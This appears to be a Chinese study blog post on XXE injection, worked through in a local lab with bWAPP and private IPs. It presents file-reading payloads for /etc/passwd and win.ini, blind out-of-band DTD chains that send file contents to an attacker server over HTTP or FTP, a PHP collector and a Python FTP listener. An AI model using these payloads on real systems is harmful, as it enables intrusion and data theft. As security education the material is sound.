漏洞学习之XXE注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?xml version="1.0" encoding="UTF-8"?>       // XML声明
<!DOCTYPE note [ //定义类型
<!ELEMENT note (to,from,heading,body)> //定义元素
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)> // 文档类型定义
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>lixin</to>
<from>shiyan</from> // 文档元素
<heading>Reminder</heading>
<body>Hurry up and send out XXE's article</body>
</note>

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD 主要用来解释文档元素的,它有三种应用形式:

1.内部DTD文档

1
<!DOCTYPE 根元素 [定义内容]>

2.外部DTD文档

1
<!DOCTYPE 根元素 SYSTEM "文件名">

3内外部DTD文档结合

1
<!DOCTYPE 根元素 SYSTEM "DTD文件路劲"[定义内容]>

DTD文档中有很多重要的关键词:

DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)

而实体可以理解为变量,它必须在DTD中定义申明,然后再文档中的其他位置引用该变量,实体也是分三种
形式,分别是:

1.内部实体

2.外部实体

3.参数实体

OR

XXE主要分为回显和不回显两个类型。
一般在测试 XXE 的时候,通过 POST 一个 XML 请求,看是出现了报错还是正常的实体解析,
比如 POST 一个 shiyan 如果返回页面只出现了 shiyan 则说明正常的实体解析了。
当然也可以 POST 一个这样的完整的 XML代码:

1
2
3
4
5
6
7
<pre>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test "shiyan">
]>
<note>&test;</note>
</pre>

下面是一个测试代码,可以复制到搭建的环境中, 然后本地 POST 尝试下。

1
2
3
4
5
6
7
8
9
10
<form method="POST" action="">
<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>
<input type="submit" value="submit">
</form>

<?php
keyword = _POST['keyword'];
xml_obj = simplexml_load_string(keyword);
print_r($xml_obj);
?>

如果发现支持实体解析,那么就开始尝试是否能引入外部实体了。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY shiyan SYSTEM "file://localhost/c:/windows/win.ini">
]>
<root>&shiyan;</root>

OR

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<note>&test;</note>
</pre>

这两个都一样,只不过是上面的那个是查找 windows/win 下的,下面的那个是 linux 下的代码。
对了,有些情况下,会直接看到 POST 中存在一些 XML 文档元素,我们可以手动的在这些文档元素中,
随便输入一些数字或者字母,看看回显的内容中有没有存在可控的参数,如果存在,可以尝试引入外部实体来
控制这个可控的参数进行注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-type: text/xml; charset=UTF-8
Referer: http://127.0.0.1/bWAPP/xxe-1.php
Content-Length: 59
Cookie: bdshare_firstime=1504239219561; PHPSESSID=qke00v8tqre5b4tdfcjchmb155; security_level=0
X-Forwarded-For: 0.0.0.0
Connection: close

<reset><login>bee</login><secret>Any bugs?</secret></reset>

在这个数据包中,我们发现 bee 这个参数是可控的,我们可以构造如下数据包,进行尝试是否可以注入读取文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-type: text/xml; charset=UTF-8
Referer: http://127.0.0.1/bWAPP/xxe-1.php
Content-Length: 193
Cookie: bdshare_firstime=1504239219561; PHPSESSID=qke00v8tqre5b4tdfcjchmb155; security_level=0
X-Forwarded-For: 0.0.0.0
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file://localhost/c:/windows/win.ini">
]>
<reset>
<login>&test;</login>
<secret>shiyan</secret>
</reset>
</pre

查看响应包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<pre>
HTTP/1.1 200 OK
Date: Thu, 05 Oct 2017 14:29:52 GMT
Server: Apache/2.4.10 (Win32) OpenSSL/1.0.1h PHP/5.4.31
X-Powered-By: PHP/5.4.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 96
Connection: close
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
's secret has been reset!

成功回显了我们读取的内容。
这个是在有回显的情况下这样操作的,当页面是无回显的,就是报错页面出现xml解析器,或者出现一些空白页面
和报错出现绝对路径等等一些情况,我们无法判断是否支持外部引入实体,那么可以这样操作。

向存在可控参数的地方注入一条向自己服务器发送请求的xml代码

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "http://localhost/2.txt"> //localhost 为自己服务器的URL地址
]>
<note>&test;</note>

然后我们查看自己服务器日志,可以看出来是否存在外部引入实体。

1
2
::1 - - [06/Oct/2017:11:19:25 +0800] "GET /2.txt HTTP/1.0" 200 49 "-" "-"
127.0.0.1 - - [06/Oct/2017:11:19:25 +0800] "POST /XXE/test.php HTTP/1.1" 200 325 "http://127.0.0.1/XXE/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

可以看出来,存在外部引入,当然我们也可以用参数实体来测试。

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % shiyan SYSTEM "http://localhost/2.txt">
%shiyan;
]>

然后我们继续查看日志,看看参数实体可行不。

1
2
::1 - - [06/Oct/2017:11:31:18 +0800] "GET /2.txt HTTP/1.0" 200 49 "-" "-"
127.0.0.1 - - [06/Oct/2017:11:31:18 +0800] "POST /XXE/test.php HTTP/1.1" 200 1527 "http://127.0.0.1/XXE/test.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

同样的,都成功了,那么就存在外部实体引入,那就很可能存在XXE注入,因为他是无回显的,所以我
们只能用 blind xxe 来达到攻击效果。

blind xxe 的原理很简单,就是建立一条带外信道提取数据,利用外部实体中的 URL 发出访问,从而跟攻击者的公网主机
,也就是一台攻击者的服务器,从而达到数据的读取。

我们还是利用上面的那个那个代码来当环境,来本地搭建解释下这个原理。

1
2
3
4
5
6
7
8
9
10
11
<form method="POST" action="">
<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>
<input type="submit" value="submit">
</form>

<?php
$keyword = $_POST['keyword'];
$xml_obj = simplexml_load_string($keyword);
echo "---shiyan----" ;
print_r($xml_obj);
?>

然后,我们开始构造 payload 1 的 XML 代码:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///G:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/ceshi/evil.dtd">
%remote;
%send;
]>

其中,第三行把 file 找到的内容赋值给参数 %file ,然后第四行为外部引入攻击者自己服务器的 DTD 文档
然后第五行执行下这个参数 %remote; ,第六行的 %send; 为攻击者自己服务器的 DTD文档 里的参数实体。

http://192.168.1.106/XXE/ceshi/evil.dtd 的内容:

1
2
3
4
<!ENTITY % all 
"<!ENTITY &#x25; send SYSTEM
'http://192.168.1.106/XXE/ceshi/1.php?file=%file;'>">
%all;

这里是参数实体 %all 的值为后面 “” 这个字符串里的内容,而这个字符串里的内容为把一开始发送的
payload 1 里的 file协议 找到的内容作为参数发送到攻击者着的服务器里的另一个 1.php 文件里,
而这个字符串赋值给了参数 %send; ,在这里先运行了下 %all; 所以在一开始的那个 payload 1 里
只运行了 %send; 这个值是上面解释的那些内容,那我们再看下这个 1.php 里到底是什么内容吧。

1.php 内容:

1
2
3
<?php
file_put_contents("1.txt", $_GET['file']);
?>

就是把接受到的参数写到 1.TXT 这个文档里,可能看到这里,会有点乱的感觉,我在整理下思路。
整个过程都是本地的,只是模拟下原理,攻击者(公网) 向存在 XXE 漏洞的服务器发送了一条payload
,这个 payload 的功能是查找服务器本机某个文件,然后向攻击者着的服务器请求一条URL请求,获取这个
恶意的 dtd 内容,当存在漏洞的服务器读取到这个 dtd 的内容为把一开始自己找的本地的那个文件
内容做为参数去传递给攻击者服务器的这个 1.php 文件,这个1.php 的文件是把获取的这个参数本地保存
下来,从而,就这样的得到了回显的内容。

在那个 dtd 文档里,用编码 % 代替了 % 是因为嵌套引用外部参数实体,如果直接利用%,在引用的时候会导致找不到该参数实体名称
,我们先演示一下上面的样例。

1
2
3
192.168.1.106 - - [06/Oct/2017:17:04:20 +0800] "GET /XXE/ceshi/evil.dtd HTTP/1.0" 200 108 "-" "-"
192.168.1.106 - - [06/Oct/2017:17:04:20 +0800] "GET /XXE/ceshi/1.php?file=shiyan521,nishizuiyouxiudebaimaozi! HTTP/1.0" 200 - "-" "-"
127.0.0.1 - - [06/Oct/2017:17:04:20 +0800] "POST /XXE/ceshi/test1.php HTTP/1.1" 200 603 "http://127.0.0.1/XXE/ceshi/test1.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

我们查看日志,可以发现这个攻击成功了,但是有一点,就是这样的读取文件的时候,如果文件里存在空格
和尖括号的时候,这这种读取方式就会报错,然后攻击失败,由于本机环境是用的PHP的环境,所以可以
使用 php://filter读取base64编码 这个方式来读取,就不会出错了,那我们改下 payload 1 来测试下。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/ceshi/evil.dtd">
%remote;
%send;
]>

我们查看下那个 1.txt 文件,

1
OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCg==

是 base64 编码的,我们解码一下。

1
2
3
4
5
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]

成功的读取到了文件内容,这就是简单的原理,一般我们都是用的 vps ,然后利用 ftp 协议来
读取的,那我们再演示一下真正的攻击过程。

这个思路和上面的原理一样,准备一台客户端,可以内网,当然公网主机最好了,然后存在漏洞的web服务器,
和 VPS ,如果直接公网主机的话,那就省了。

  1. 客户端发送 payload 1 给存在漏洞的 web 服务器
  2. web 服务器向 VPS 获取到恶意的 DTD ,并执行读取到的这个恶意的 DTD 内容
  3. web 服务器把读取本机的那个文件的内容去访问特定 FTP 或者 HTTP
  4. 攻击者通过 VPS 监听这个特定的端口得到回显的内容

payload 1 :

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://攻击者公网主机地址/test.xml">%remote;]>

和上面的思路一样,把 payload 1 发送给存在漏洞的 Web 服务器,然后存在漏洞的 web 服务器
会去访问这个 xml 的内容。

test.xml :

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % aaa "<!ENTITY &#37; bbb SYSTEM 'ftp://攻击者(公网):xx/%file;'>">
%aaa;
%bbb;

端口可以随便设置一些空闲的端口,看到这里,是不是和上面的思路差不多,都是通过
URL来带入参数的。

这里说一下,结合着上面的内容,我们都需要把 < > “ ‘ 都HTML实体编码一下,payload 1 的编码就行了,第二个只需要
编码那一个符号就行,我已经编码了。

< < 小于
> > 大于
' ‘ 单引号
" “ 双引号

由于我本人没有公网的 VPS 所以,这个就不实体再编码一下了,毕竟,我没实战漏洞环境和
VPS 啊啊啊啊!!!

当我们把这 test.xml 部署好后,然后向存在漏洞的 Web 服务器发送 payload 1 的内容后,
我们剩下的就是在 VPS 里,打开 ftp.py 监听 自己设置的特定端口就行了。

我本地复现了使用 ftp.py 的过程,但是由于我环境的问题还是什么原因,接受的结果都是无法正常获取信息,不过
作为笔记,我还是把过程写下来。

  1. 打开虚拟机环境部署上面那个一直用的测试xml的PHP代码(192.168.1.112)
  2. 本机环境下添加 shiyan.xml 内容,并打开 XAMPP 集成环境工具(192.168.1.106)
1
2
3
4
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % aaa "<!ENTITY &#37; bbb SYSTEM 'ftp://192.168.1.106:1314/%file;'>">
%aaa;
%bbb;

由于在传输信息中,有空格或者有换行的,都无法正常获取的,所以我继续用了 php://filter读取base64编码 这个编码
来读取信息,正常实战环境中,好像不用,,,,我看 i春秋 上面的那个就是直接利用 file协议 。

  1. 打开 cmd 运行监听 ftp 的 ftp.py 的脚本,由于我本人对 socket 真心不太会,就懂个开启一个链接,然后设置下端口
    开始监听,和一些简单的传输,我用的 luan 的 ftp.py 的脚本,下面贴一下核心简版的,毕竟传播 exp 是那个啥的行为。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket,sys
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',1314))
s.listen(1)
print('XXE-FTP listening')

while True:
ss, addr = s.accept()
ss.settimeout(1)
try:
data = ss.recv(10240).rstrip('\r\n')
if data[:5] == 'GET /':
print 'HTTP connect from' , ':'.join(map(lambda x:str(x),addr))
print data
print '\n\n'
ss.send(dtd)
except socket.timeout:
print 'FTP connect from' , ':'.join(map(lambda x:str(x),addr))
ss.settimeout(None)
ss.send('220 web Server\r\n')
print 'Data:'
while True:
data = ss.recv(10240).rstrip('\r\n')
if data[:4] == 'USER':
ss.send('200 Ok\r\n')
elif data[:4] == 'TYPE':
ss.send('200 Ok\r\n')
elif data[:4] == 'SIZE':
ss.send('200 Ok\r\n')
elif data[:3] == 'CWD':
sys.stdout.write(data[4:].rstrip('/web'))
if '\n' not in data:
sys.stdout.write('/')
ss.send('200 Ok\r\n')
elif data[:4] == 'EPRT':
lan_ip = data.split(data[5])[2]
print '\n================================='
print 'Got IP =>',lan_ip
ss.send('200 Ok\r\n')
else:
ss.send('666 web\r\n')
print '\nspecial command received:',data
print '\n\n'
break
ss.close()
s.close()
  1. 向服务器端发送 payload 1 的内容(POST 192.168.1.112)
1
2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.106/XXE/shiyan.xml">%remote;]>
  1. 虽说我的 ftp.py 报错了,但是还是接受到一堆数据。。。(PS:他的这个ftp,要是懂的话,还得再改改,不懂的话,
    就直接用下面压缩包里 ichunqiu 里的那个 ftp.py 把)
1
2
3
4
5
6
7
8
9
10
11
C:\Users\shiyan>G:/shiyan.py
XXE-FTP listening
FTP connect from 192.168.1.112:1165
Data:
/OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KYWlmPU1QRUdWaWRlbw0KYWlmYz1NUEVHVmlkZW8NCmFpZmY9TVBFR1ZpZGVvDQphc2Y9TVBFR1ZpZGVvDQphc3g9TVBFR1ZpZGVvDQphdT1NUEVHVmlkZW8NCm0xdj1NUEVHVmlkZW8NCm0zdT1NUEVHVmlkZW8NCm1wMj1NUEVHVmlkZW8NCm1wMnY9TVBFR1ZpZGVvDQptcDM9TVBFR1ZpZGVvDQptcGE9TVBFR1ZpZGVvDQptcGU9TVBFR1ZpZGVvDQptcGVnPU1QRUdWaWRlbw0KbXBnPU1QRUdWaWRlbw0KbXB2Mj1NUEVHVmlkZW8NCnNuZD1NUEVHVmlkZW8NCndheD1NUEVHVmlkZW8NCndtPU1QRUdWaWRlbw0Kd21hPU1QRUdWaWRlbw0Kd212PU1QRUdWaWRlbw0Kd214PU1QRUdWaWRlbw0Kd3BsPU1QRUdWaWRlbw0Kd3Z4PU1QRUdWaWRlbw0K/
special command received: MDTM /OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KYWlmPU1QRUdWaWRlbw0KYWlmYz1NUEVHVmlkZW8NCmFpZmY9TVBFR1ZpZGVvDQphc2Y9TVBFR1ZpZGVvDQphc3g9TVBFR1ZpZGVvDQphdT1NUEVHVmlkZW8NCm0xdj1NUEVHVmlkZW8NCm0zdT1NUEVHVmlkZW8NCm1wMj1NUEVHVmlkZW8NCm1wMnY9TVBFR1ZpZGVvDQptcDM9TVBFR1ZpZGVvDQptcGE9TVBFR1ZpZGVvDQptcGU9TVBFR1ZpZGVvDQptcGVnPU1QRUdWaWRlbw0KbXBnPU1QRUdWaWRlbw0KbXB2Mj1NUEVHVmlkZW8NCnNuZD1NUEVHVmlkZW8NCndheD1NUEVHVmlkZW8NCndtPU1QRUdWaWRlbw0Kd21hPU1QRUdWaWRlbw0Kd212PU1QRUdWaWRlbw0Kd214PU1QRUdWaWRlbw0Kd3BsPU1QRUdWaWRlbw0Kd3Z4PU1QRUdWaWRlbw0K
FTP connect from 192.168.1.112:1166
Data:

special command received: EPSV

  1. 由于是报错状态,所以脚本没有正常退出,不过通过 base64解码还是能得到传输的数据
1
2
3
4
5
6
7
8
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]

总体来说也就这些东西。

参考文章:
http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2014-074069
https://security.tencent.com/index.php/blog/msg/69
http://blog.csdn.net/u011721501/article/details/43775691
https://www.ichunqiu.com/open/58939
https://thief.one/2017/06/20/1/
http://bobao.360.cn/learning/detail/3841.html

两个 ftp.py (一个是 ichunqiu 的,一个是luan的,ichunqiu 的我应该没看错代码):

链接: https://pan.baidu.com/s/1c8loEq 密码: tq8p

PS:ftp.py 主要是使用ftp协议,而ftp协议不同于http协议是,http是一次性的数据包,而我们的数据都是在URL中,如果
读取的文件中出现空格或者换行就违背了协议,无法传输,所以一开始那个我用的编码来传输,而 ftp 是交互式的,先建立连接
然后根据不停的状态码的交互,最后获取到数据,所以空格,换行没什么问题,这也是 ftp.py 里后面我不懂的那些部分代码

容易存在XXE的地方:
1.基于XML的RPC服务 或 基于SOAP的WebService
2.开发框架的对Content-Type智能识别导致的XXE
3.使用SAML的登录接口
4.解析DOCX文件

强制报错回显:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo SYSTEM "http://xxe.sh1yan.top/shiyan.dtd">
<root>
<search>name</search>
</root>

DTD文档:

1
2
3
4
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % paraml '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'>
%paraml;
%external;

漏洞学习之XXE注入
https://sh1yan.top/2018/09/15/xxe-study/
作者
shiyan
发布于
2018年9月15日
许可协议